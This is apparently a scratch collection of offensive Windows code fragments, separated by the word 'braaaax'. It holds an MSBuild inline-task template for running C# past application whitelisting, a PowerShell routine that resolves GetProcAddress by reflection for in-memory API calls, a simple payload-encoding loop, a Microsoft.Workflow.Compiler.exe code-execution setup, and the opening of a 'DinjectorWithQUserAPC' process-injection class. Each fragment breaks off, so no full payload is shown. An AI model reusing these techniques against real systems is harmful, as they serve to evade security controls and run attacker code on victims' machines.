braaaax

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="0xtaco">
    <Brax />
  </Target>
  <UsingTask
    TaskName="Brax"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">

braaaax

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | % {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
    Param (

braaaax

$payload =  "hi mom"
[string]$output = ""
$payload.ToCharArray() | %{
 [string]$thischar = [byte][char]$_ + 17
 if($thischar.Length -eq 1)
 {
 $thischar = [string]"00" + $thischar
 $output += $thischar
 }
 elseif($thischar.Length -eq 2)

braaaax

$workflowexe = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe"
$workflowasm = [Reflection.Assembly]::LoadFrom($workflowexe)
$SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper',[Reflection.BindingFlags] 'NonPublic, Static')
Add-Type -Path 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.ComponentModel.dll'
$compilerparam = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
$compilerparam.GenerateInMemory = $True
$pathvar = "C:\Users\Public\test.txt"
$output = "run.xml"
$tmp = $SerializeInputToWrapper.Invoke($null,@([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $compilerparam,[String[]] @(,$pathvar)))

braaaax

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DinjectorWithQUserAPC
{


    public class Program